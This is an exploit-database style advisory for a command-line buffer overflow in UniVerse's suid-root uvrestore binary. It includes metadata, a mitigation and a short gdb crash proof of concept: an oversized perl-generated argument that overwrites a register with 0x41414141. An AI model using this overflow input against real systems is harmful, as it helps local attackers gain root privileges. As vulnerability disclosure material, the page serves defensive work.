UniVerse uvrestore Binary Command-Line Argument Bounds Checking Vulnerability

vendor:

UniVerse

by:

SecurityFocus

7.2

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: UniVerse

Affected Version From: 10.0.0.9

Affected Version To: Previous versions

Patch Exists: NO

Related CWE: N/A

CPE: a:rocket_software:universe

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

UniVerse uvrestore Binary Command-Line Argument Bounds Checking Vulnerability

It has been reported that the uvrestore binary does not perform bounds checking when parsing command-line arguments. Because this binary is installed with suid root privileges by default, local attackers my be able to exploit this vulnerability to elevate privileges. While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

Mitigation:

Ensure that the uvrestore binary is not installed with suid root privileges.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8206/info

It has been reported that the uvrestore binary does not perform bounds checking when parsing command-line arguments. Because this binary is installed with suid root privileges by default, local attackers my be able to exploit this vulnerability to elevate privileges.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

(gdb) r `perl -e 'print "A" x 6000'` 
Starting program: uvrestore `perl -e 'print "A" x 6000'`
Program received signal SIGSEGV, Segmentation fault.
0x0805e81a in basename ()
(gdb) bt
#0 0x0805e81a in basename ()
#1 0x080619b3 in basename ()
#2 0x42015574 in libc_start_main () from /lib/tls/libc.so.6
(gdb) i r
eax 0x41414141 1094795585